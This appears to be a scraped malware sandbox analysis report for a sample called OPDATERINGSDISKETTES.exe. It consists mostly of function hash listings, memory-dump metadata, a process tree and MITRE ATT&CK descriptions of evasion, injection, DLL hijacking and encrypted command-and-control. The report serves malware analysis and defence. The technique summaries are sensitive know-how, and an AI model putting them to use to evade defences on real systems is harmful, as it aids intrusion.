Instruction Fuzzy Hash: 107175659147818EDB35CF28C8D476ABFD1EF62320F58C2D9D5A24F6D6C3748882CB26

Uniqueness

Uniqueness Score: -1.00%

Function 00B013F1, Relevance: .3, Instructions: 338COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.470016508.0000000000B00000.00000040.00000001.sdmp, Offset: 00B00000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a95e33dc68e6c0f829f2a17f05c631a3c78588c674f88c31b582d18002709882
Instruction ID: 12501c1684ea4240b2ccbb7ef05c367246d2cfa2db6bcaa478b3cd6c07afbdd1
Opcode Fuzzy Hash: a95e33dc68e6c0f829f2a17f05c631a3c78588c674f88c31b582d18002709882
Instruction Fuzzy Hash: 05C18DB1700612AFE718DF2CCCC0BE5BBE5FF48314F158669E8A997381DB74A8558B90

Uniqueness

Uniqueness Score: -1.00%

Function 00B051DF, Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.470016508.0000000000B00000.00000040.00000001.sdmp, Offset: 00B00000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2156c1b12fa388e3b470185ea19a4a446dea36a57df2da17dae0b60c034b257a
Instruction ID: 96a30247c0f08187f57f39083b70b7c7502ad3cda63fe761f5be04fdeec9de32
Opcode Fuzzy Hash: 2156c1b12fa388e3b470185ea19a4a446dea36a57df2da17dae0b60c034b257a
Instruction Fuzzy Hash: BD4180645047818EDB35CF2888D4B56BFD1EF13320F59C2D9D8A64F6E6C2758842CB26

Uniqueness

Uniqueness Score: -1.00%

Function 00B018B7, Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.470016508.0000000000B00000.00000040.00000001.sdmp, Offset: 00B00000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9dfb26c628eded82913e606ba7c240d48cfb09f74985ebcb32b91404640f04e
Instruction ID: 357478b8cd851fe099d5ab367e8dbff301803f16edf0252c6c7cd442ad141b4c
Opcode Fuzzy Hash: b9dfb26c628eded82913e606ba7c240d48cfb09f74985ebcb32b91404640f04e
Instruction Fuzzy Hash: 2031B671704512AFD769DF2CCC91BA57BE4FF04320F1582A9F8A8D72D1DA21EC459B90

Uniqueness

Uniqueness Score: -1.00%

Function 00B01AF3, Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.470016508.0000000000B00000.00000040.00000001.sdmp, Offset: 00B00000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 697f9974cebd48b32a317d4a753cd3b9ad1fab449bc84b1409e95e26235e0d65
Instruction ID: 9b4bdf91bcc873ce89c08319968859f816e200a34e3da910075c7488ef5e2f0c
Opcode Fuzzy Hash: 697f9974cebd48b32a317d4a753cd3b9ad1fab449bc84b1409e95e26235e0d65
Instruction Fuzzy Hash: BE21BE70640340AFEB365F28CC49BAA7BE4FF10755F2545D8F9815B0E2DBB0C8448A12

Uniqueness

Uniqueness Score: -1.00%

Function 00B04ACA, Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.470016508.0000000000B00000.00000040.00000001.sdmp, Offset: 00B00000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d94ded4a8f317924825a27961db8f1f285264be019e1e9c7bc7add10a0c44a6
Instruction ID: e4192c85907504ad04f11502df24e2f35fde8e1a06ddfed10dd76481e726f052
Opcode Fuzzy Hash: 6d94ded4a8f317924825a27961db8f1f285264be019e1e9c7bc7add10a0c44a6
Instruction Fuzzy Hash: 54E0C2F52052008FC718DB14C6D4F2A7BE1EB55751F628AE5E6018B6A5C330EC40DA11

Uniqueness

Uniqueness Score: -1.00%

Function 00B0272D, Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.470016508.0000000000B00000.00000040.00000001.sdmp, Offset: 00B00000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 910213ea1f51e2b62a41871bcbc3f6ff10d8cd6c283df5ea202c81acf96aa131
Instruction ID: 0c2de5002023050feacfbcd3f677b3b6696790de56c763d263a47064f890bc17
Opcode Fuzzy Hash: 910213ea1f51e2b62a41871bcbc3f6ff10d8cd6c283df5ea202c81acf96aa131
Instruction Fuzzy Hash: 25C04C76252680CFEF45CA08CAC5B4177B0E705798B4905D0E8528B7D1C315ED04D640

Uniqueness

Uniqueness Score: -1.00%

Function 00B044BF, Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.470016508.0000000000B00000.00000040.00000001.sdmp, Offset: 00B00000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9587e91458c06d722e22461f2d5c32647058c5864d522dd72516d8af12556217
Instruction ID: 3fc97f653552248dd5ad9c190cfa451141927b35e392fe6f9cfdca5b4c01baa9
Opcode Fuzzy Hash: 9587e91458c06d722e22461f2d5c32647058c5864d522dd72516d8af12556217
Instruction Fuzzy Hash: 78C09235312A848FCA52CF68C1A0F85B7F0BB84F80F0508C8E8808BB22C266E800CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00B04498, Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.470016508.0000000000B00000.00000040.00000001.sdmp, Offset: 00B00000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2bdc41d4cc1b5937025cb023c8d422d7078d018c5ac207166e0ac125bba84519
Instruction ID: 3d9f4df46f70a9bcbb945a553616ea1cee9bbfb3be2010ce338efbaf3b26594b
Opcode Fuzzy Hash: 2bdc41d4cc1b5937025cb023c8d422d7078d018c5ac207166e0ac125bba84519
Instruction Fuzzy Hash: 82B092747126448FCA81CF18C2A0F8673F0BB44B80F0504C0E9028BB61C3A4E900CA40

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report OPDATERINGSDISKETTES.exe

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Yara Overview

Memory Dumps

Sigma Overview

Signature Overview

AV Detection:

Compliance:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted IPs

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Possible Origin

Network Behavior

Code Manipulations

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Behavior

System Behavior

Analysis Process: OPDATERINGSDISKETTES.exe PID: 4316 Parent PID: 5636

General

Chronological Activities

Analysis Process: RegAsm.exe PID: 1948 Parent PID: 4316

General

Chronological Activities

Analysis Process: conhost.exe PID: 5788 Parent PID: 1948

General

Chronological Activities

Function 00402029, Relevance: .9, Instructions: 896
COMMONCrypto

Function 0040C49A, Relevance: 297.8, APIs: 159, Strings: 10, Instructions: 2033
COMMON

Function 00402DB7, Relevance: 1.7, APIs: 1, Instructions: 462
COMMON

Function 00403092, Relevance: 1.6, APIs: 1, Instructions: 361
COMMON

Function 00402F00, Relevance: 1.6, APIs: 1, Instructions: 318
memoryCOMMON

Function 0040344C, Relevance: 1.4, APIs: 1, Instructions: 193
memoryCOMMON

Function 0040BF54, Relevance: 72.3, APIs: 48, Instructions: 326
COMMON

Function 0040E9A5, Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 110
COMMON

Function 0040E8DA, Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 52
COMMON

Function 0040B1D7, Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 98
COMMON

Function 0040ED5F, Relevance: 15.1, APIs: 10, Instructions: 78
COMMON

Function 0040E779, Relevance: 13.6, APIs: 9, Instructions: 78
COMMON

Function 0040EC58, Relevance: 13.6, APIs: 9, Instructions: 68
COMMON

Function 0040C446, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 17
COMMON

Function 0040EB4A, Relevance: 10.6, APIs: 7, Instructions: 63
COMMON

Function 0040E6E4, Relevance: 7.5, APIs: 5, Instructions: 32
COMMON